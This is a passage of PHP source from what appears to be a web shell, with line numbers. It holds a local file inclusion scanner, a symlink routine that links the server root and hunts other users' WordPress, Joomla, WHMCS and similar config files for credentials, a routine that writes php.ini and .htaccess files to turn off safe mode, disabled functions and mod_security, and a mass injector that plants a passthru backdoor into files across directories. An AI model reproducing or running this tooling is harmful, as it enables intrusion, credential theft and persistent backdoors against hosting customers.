2847 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
2848 }
2849 else {
2850 print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
2851 }
2852 $x++;
2853 }
2854 }
2855 }
2856 if ( $type == 6 ) {
2857 $res1 = FetchURL($target.$lfitest);
2858 $res2 = FetchURL($target.$lfitest2);
2859 $rhash1 = md5($res1);
2860 $rhash2 = md5($res2);
2861 if ($rhash1 != $rhash2) {
2862 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
2863 while($lfiftp[$x]) {
2864 $res3 = FetchURL($target.$lfiftp[$x]);
2865 $rhash3 = md5($res3);
2866 if ($rhash3 != $rhash2) {
2867 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
2868 }
2869 else {
2870 print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
2871 }
2872 $x++;
2873 }
2874 }
2875 }
2876 if ( $type == 7 ) {
2877 $res1 = FetchURL($target.$lfitest);
2878 $res2 = FetchURL($target.$lfitest2);
2879 $rhash1 = md5($res1);
2880 $rhash2 = md5($res2);
2881 if ($rhash1 != $rhash2) {
2882 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
2883 $res3 = FetchURL($target.$lfiprocenv);
2884 $rhash3 = md5($res3);
2885 if ($rhash3 != $rhash2) {
2886 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
2887 }
2888 else {
2889 print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
2890 }
2891 }
2892 }
2893 }
2894 }
2895 printFooter();
2896 }
2897
2898function actionSymlink() {
2899 printHeader();
2900 echo '<h1>Symlink</h1>';
2901 $furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
2902 $expld = explode('/',$furl );
2903 $burl =str_replace(end($expld),'',$furl);
2904
2905 echo '<div class="content"><center>
2906 <h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
2907 [ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink<sup style="color:red;text-decoration:blink;"></sup></a> ] -
2908 [ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config Files Symlink</a> ]</h3></center>';
2909
2910 if(isset($_POST['p1']) && $_POST['p1']=='website')
2911 {
2912 echo "<center>";
2913 $d0mains = @file("/etc/named.conf");
2914 if(!$d0mains){
2915 echo "<pre class=ml1 style='margin-top:5px'>Cant Access This File On Server -> [ /etc/named.conf ]</pre></center>";
2916 } else {
2917 echo "<table align=center class='main' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
2918
2919 $unk = array();
2920 foreach($d0mains as $d0main){
2921 if(@eregi("zone",$d0main)){
2922 preg_match_all('#zone "(.*)"#', $d0main, $domains);
2923 flush();
2924 if(strlen(trim($domains[1][0])) > 2){
2925 $unk[] = $domains[1][0];
2926 flush();
2927
2928 }
2929 }
2930 }
2931 $count=1;
2932 $unk = array_unique($unk);
2933 $l=0;
2934 foreach($unk as $d){
2935 $user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
2936 echo "<tr".($l?' class=l1':'')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user['name']."</td></tr>";
2937 flush();
2938 $count++;
2939 $l=$l?0:1;
2940 }
2941 echo "</table>";
2942 }
2943 echo "</center>";
2944 }
2945
2946 if(isset($_POST['p1']) && $_POST['p1']=='whole')
2947 {
2948 echo "<center>";
2949 @mkdir('ESBH_sym',0777);
2950 $hdt = "Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nRequire None\nSatisfy Any";
2951 $hfp =@fopen ('ESBH_sym/.htaccess','w');
2952 fwrite($hfp ,$hdt);
2953 if(function_exists('symlink')) {
2954 @symlink('/','ESBH_sym/root');
2955 }
2956 $d0mains = @file('/etc/named.conf');
2957 if(!$d0mains) {
2958 echo "<pre class=ml1 style='margin-top:5px'># Cant Access This File On Server -> [ /etc/named.conf ]</pre></center>";
2959 echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
2960 $dt = file('/etc/passwd');
2961 $l=0;
2962 foreach($dt as $d) {
2963 $r = explode(':',$d);
2964 if(strpos($r[5],'home')) {
2965 echo "<tr".($l?' class=l1':'')."><td>".$j."</td><td>---</td><td>".$r[0]."</td><td><a href='ESBH_sym/root".$r[5]."/public_html' target='_blank'>symlink</a></td></tr>";
2966 $l=$l?0:1;
2967 $j++;
2968 }
2969 }
2970 echo '</table>';
2971 } else {
2972 echo "<table align='center' width='40%' class='main'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
2973 $count=1;
2974 $mck = array();
2975 foreach($d0mains as $d0main){
2976 if(@eregi('zone',$d0main)){
2977 preg_match_all('#zone "(.*)"#',$d0main,$domain);
2978 flush();
2979 if(strlen(trim($domain[1][0])) >2){
2980 $mck[] = $domain[1][0];
2981 }
2982 }
2983 }
2984 $mck = array_unique($mck);
2985 $usr = array();
2986 $dmn = array();
2987 foreach($mck as $o) {
2988 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
2989 $usr[] = $infos['name'];
2990 $dmn[] = $o;
2991 }
2992 array_multisort($usr,$dmn);
2993 $dt = file('/etc/passwd');
2994 $passwd = array();
2995 foreach($dt as $d) {
2996 $r = explode(':',$d);
2997 if(strpos($r[5],'home')) {
2998 $passwd[$r[0]] = $r[5];
2999 }
3000 }
3001 $l=0;
3002 $j=1;
3003 foreach($usr as $r) {
3004 echo "<tr".($l?' class=l1':'')."><td>".$count++."</td>
3005 <td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td>
3006 <td>'.$r."</td>
3007 <td><a href='ESBH_sym/root".$passwd[$r]."/public_html' target='_blank'>symlink</a></td></tr>";
3008 flush();
3009 $l=$l?0:1;
3010 $j++;
3011 }
3012 echo '</table>';
3013 }
3014 echo "</center>";
3015 }
3016
3017 if(isset($_POST['p1']) && $_POST['p1']=='config')
3018 {
3019 echo "<center>";
3020 @mkdir('ESBH_sym',0777);
3021 $hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
3022 $hfp = @fopen ('ESBH_sym/.htaccess','w');
3023 @fwrite($hfp ,$hdt);
3024 if(function_exists('symlink')) {
3025 @symlink('/','ESBH_sym/root');
3026 }
3027 $d0mains = @file('/etc/named.conf');
3028 if(!$d0mains) {
3029 echo "<pre class=ml1 style='margin-top:5px'># Cant Access This File On Server -> [ /etc/named.conf ]</pre></center>";
3030 } else {
3031 echo "<table align='center' width='40%' class='main' ><tr><th> Count </th><th> Domain </th<th> User </th>><th> Script </th></tr>";
3032 $count = 1;
3033 $l=0;
3034 foreach($d0mains as $d0main){
3035 if(@eregi('zone',$d0main)){
3036 preg_match_all('#zone "(.*)"#',$d0main,$domain);
3037 flush();
3038 if(strlen(trim($domain[1][0]))>2){
3039 $user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0]));
3040
3041 $c1 = $burl.'/ESBH_sym/root/home/'.$user['name'].'/public_html/wp-config.php';
3042 $ch01 = get_headers($c1);
3043 $cf01 = $ch01[0];
3044 $c2 = $burl.'/ESBH_sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php';
3045 $ch02 = get_headers($c2);
3046 $cf02 = $ch02[0];
3047 $c3 = $burl.'/ESBH_sym/root/home/'.$user['name'].'/public_html/configuration.php';
3048 $ch03 = get_headers($c3);
3049 $cf03 = $ch03[0];
3050 $c4 = $burl.'/ESBH_sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php';
3051 $ch04 = get_headers($c4);
3052 $cf04 = $ch04[0];
3053 $c5 = $burl.'/ESBH_sym/root/home/'.$user['name'].'/public_html/includes/config.php';
3054 $ch05 = get_headers($c5);
3055 $cf05 = $ch05[0];
3056 $c6 = $burl.'/ESBH_sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php';
3057 $ch06 = get_headers($c6);
3058 $cf06 = $ch06[0];
3059 $c7 = $burl.'/ESBH_sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php';
3060 $ch07 = get_headers($c7);
3061 $cf07 = $ch07[0];
3062 $c8 = $burl.'/ESBH_sym/root/home/'.$user['name'].'public_html/clients/configuration.php';
3063 $ch08 = get_headers($c8);
3064 $cf08 = $ch08[0];
3065 $c9 = $burl.'/ESBH_sym/root/home/'.$user['name'].'/public_html/support/configuration.php';
3066 $ch09 = get_headers($c9);
3067 $cf09 = $ch09[0];
3068 $c10 = $burl.'/ESBH_sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
3069 $ch10 = get_headers($c10);
3070 $cf10 = $ch10[0];
3071 $c11 = $burl.'/ESBH_sym/root/home/'.$user['name'].'/public_html/submitticket.php';
3072 $ch11 = get_headers($c11);
3073 $cf11 = $ch11[0];
3074 $c12 = $burl.'/ESBH_sym/root/home/'.$user['name'].'/public_html/client/configuration.php';
3075 $ch12 = get_headers($c12);
3076 $cf12 = $ch12[0];
3077 $c13 = $burl.'/ESBH_sym/root/home/'.$user['name'].'/public_html/includes/configure.php';
3078 $ch13 = get_headers($c13);
3079 $cf13 = $ch13[0];
3080 $c14 = $burl.'/ESBH_sym/root/home/'.$user['name'].'/public_html/include/app_config.php';
3081 $ch14 = get_headers($c14);
3082 $cf14 = $ch14[0];
3083 $c15 = $burl.'/ESBH_sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php';
3084 $ch15 = get_headers($c15);
3085 $cf15 = $ch15[0];
3086
3087 $out = ' ';
3088 if(strpos($cf01,'200') == true) { $out = "<a href='".$c1."' target='_blank'>Wordpress</a>"; }
3089 elseif(strpos($cf02,'200') == true) { $out = "<a href='".$c2."' target='_blank'>Wordpress</a>"; }
3090 elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " <a href='".$c11."' target='_blank'>WHMCS</a>"; }
3091 elseif(strpos($cf09,'200') == true) { $out = " <a href='".$c9."' target='_blank'>WHMCS</a>"; }
3092 elseif(strpos($cf10,'200') == true) { $out = " <a href='".$c10."' target='_blank'>WHMCS</a>"; }
3093 elseif(strpos($cf03,'200') == true) { $out = " <a href='".$c3."' target='_blank'>Joomla</a>"; }
3094 elseif(strpos($cf04,'200') == true) { $out = " <a href='".$c4."' target='_blank'>Joomla</a>"; }
3095 elseif(strpos($cf05,'200') == true) { $out = " <a href='".$c5."' target='_blank'>vBulletin</a>"; }
3096 elseif(strpos($cf06,'200') == true) { $out = " <a href='".$c6."' target='_blank'>vBulletin</a>"; }
3097 elseif(strpos($cf07,'200') == true) { $out = " <a href='".$c7."' target='_blank'>vBulletin</a>"; }
3098 elseif(strpos($cf08,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
3099 elseif(strpos($cf12,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Client Area</a>"; }
3100 elseif(strpos($cf13,'200') == true) { $out = " <a href='".$c7."' target='_blank'>osCommerce/Zen Cart</a>"; }
3101 elseif(strpos($cf14,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Magento</a>"; }
3102 elseif(strpos($cf15,'200') == true) { $out = " <a href='".$c7."' target='_blank'>Drupal</a>"; }
3103 else {
3104 continue;
3105 }
3106 echo '<tr'.($l?' class=l1':'').'><td>'.$count++.'</td><td><a href=http://www.'.$domain[1][0].'/>'.$domain[1][0].'</a></td><td>'.$user['name'].'</td><td>'.$out.'</td></tr>';
3107 flush();
3108 $l=$l?0:1;
3109 }
3110 }
3111 }
3112 echo "</table>";
3113 }
3114 echo "</center>";
3115 }
3116 echo "</div>";
3117 printFooter();
3118}
3119
3120function actionBypass() {
3121 printHeader();
3122 echo '<h1>Safe Mode</h1>';
3123 echo '<div class="content">';
3124 echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
3125 echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
3126 if(!empty($_POST['p2']) && isset($_POST['p2']))
3127 {
3128 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
3129 fwrite($fil,'<IfModule mod_security.c>
3130 Sec------Engine Off
3131 Sec------ScanPOST Off
3132 </IfModule>');
3133 fclose($fil);
3134 }
3135 if(!empty($_POST['p1'])&& isset($_POST['p1']))
3136 {
3137 $fil=fopen($GLOBALS['cwd']."php.ini","w");
3138 fwrite($fil,'safe_mode=OFF
3139 disable_functions=NONE');
3140 fclose($fil);
3141 }
3142 if(!empty($_POST['p3']) && isset($_POST['p3']))
3143 {
3144 $fil=fopen($GLOBALS['cwd'].".htaccess","w");
3145 fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
3146 AddType application/x-httpd-cgi .sh
3147 AddHandler cgi-script .pl
3148 AddHandler cgi-script .pl');
3149 fclose($fil);
3150 }
3151 echo "<br><br /><br /></div>";
3152 echo '</div>';
3153 printFooter();
3154}
3155
3156function actionDdos(){
3157 printHeader();
3158 echo '<h1>DDoS</h1>';
3159 echo '<div class="content">';
3160 echo "<div class=header><center><h3><span>Premium Features!!!</span></h3>Will come in next version.<br><br />";
3161 echo "<br><br /><br /></div>";
3162 echo '</div>';
3163 printFooter();
3164}
3165
3166function actionMail(){
3167 printHeader();
3168 echo '<h1>Mass Mailer And Mail Bomber</h1>';
3169 echo '<div class="content">';
3170 echo "<div class=header><center><h3><span>Premium Features!!!</span></h3>Will come in next version.<br><br />";
3171 echo "<br><br /><br /></div>";
3172 echo '</div>';
3173 printFooter();
3174}
3175
3176function actionInjector(){
3177 printHeader();
3178 echo '<h1>Mass Code Injector</h1>';
3179 echo '<div class="content">';
3180
3181 if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
3182 function get_structure($path,$depth) {
3183 global $DS;
3184 $res = array();
3185 if(in_array(0, $depth)) { $res[] = $path; }
3186 if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
3187 $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
3188 if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
3189 }
3190 if(in_array(2, $depth) or in_array(3, $depth)) {
3191 $tmp2 = array();
3192 foreach($tmp1 as $t){
3193 $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
3194 $tmp2 = array_merge($tmp2, $tp2);
3195 }
3196 if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
3197 }
3198 if(in_array(3, $depth)) {
3199 $tmp3 = array();
3200 foreach($tmp2 as $t){
3201 $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
3202 $tmp3 = array_merge($tmp3, $tp3);
3203 }
3204 $res = array_merge($res,$tmp3);
3205 }
3206 return $res;
3207 }
3208
3209 if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
3210 $name = $_POST['name'] ? $_POST['name'] : '*';
3211 $type = $_POST['type'] ? $_POST['type'] : 'html';
3212 $path = $_POST['path'] ? $_POST['path'] : getcwd();
3213 $code = $_POST['code'] ? $_POST['code'] : 'ErrOr SquaD Bangladeshi Hackers and Security Researchers';
3214 $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
3215 $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
3216 $dt = get_structure($path,$depth);
3217 foreach ($dt as $d) {
3218 if($mode == 'a') {
3219 if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
3220 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#82C0FF;"> was injected</span></div>';
3221 } else {
3222 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
3223 }
3224 } else {
3225 if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
3226 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#82C0FF;"> was injected</span></div>';
3227 } else {
3228 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
3229 }
3230 }
3231 }
3232 } else {
3233 echo '<center>Inject Backdoor Script to any Files</center><br><form method="post" action="">
3234 <table align="center">
3235 <tr>
3236 <td>Directory : </td>
3237 <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
3238 </tr>
3239 <tr>
3240 <td class="title">Mode : </td>
3241 <td>
3242 <select style="width: 100px;" name="mode" class="box">
3243 <option value="a">Apender</option>
3244 <option value="w">Overwriter</option>
3245 </select>
3246 </td>
3247 </tr>
3248 <tr>
3249 <td class="title">File Name & Type : </td>
3250 <td>
3251 <input type="text" style="width: 100px;" name="name" value="*"/>
3252 <select style="width: 100px;" name="type" class="box">
3253 <option value="html">HTML</option>
3254 <option value="htm">HTM</option>
3255 <option value="php" selected="selected">PHP</option>
3256 <option value="asp">ASP</option>
3257 <option value="aspx">ASPX</option>
3258 <option value="xml">XML</option>
3259 <option value="txt">TXT</option>
3260 </select></td>
3261 </tr>
3262 <tr>
3263 <td class="title">Code Inject Depth : </td>
3264 <td>
3265 <input type="checkbox" name="depth[]" value="0" checked="checked"/> 0
3266 <input type="checkbox" name="depth[]" value="1"/> 1
3267 <input type="checkbox" name="depth[]" value="2"/> 2
3268 <input type="checkbox" name="depth[]" value="3"/> 3
3269 </td>
3270 </tr>
3271 <tr>
3272 <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"><br><?php set_time_limit(0); error_reporting(0); passthru($_GET["terminal"]);?></textarea></td>
3273 </tr>
3274 <tr>
3275 <td colspan="2" style="text-align: center;">
3276 <input type="hidden" name="a" value="Injector">
3277 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
3278 <input type="hidden" name="p1">
3279 <input type="hidden" name="p2">
3280 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
3281 <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
3282 </tr>
3283 </table>
3284 </form>';
3285 }
3286 echo '</div>';
3287 printFooter();
3288}
3289
3290if( empty($_POST['a']) )
3291 if(isset($default_action) && function_exists('action' . $default_action))
3292 $_POST['a'] = $default_action;
3293 else
3294 $_POST['a'] = 'SecInfo';
3295if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
3296 call_user_func('action' . $_POST['a'])
3297?>
3298
3299?>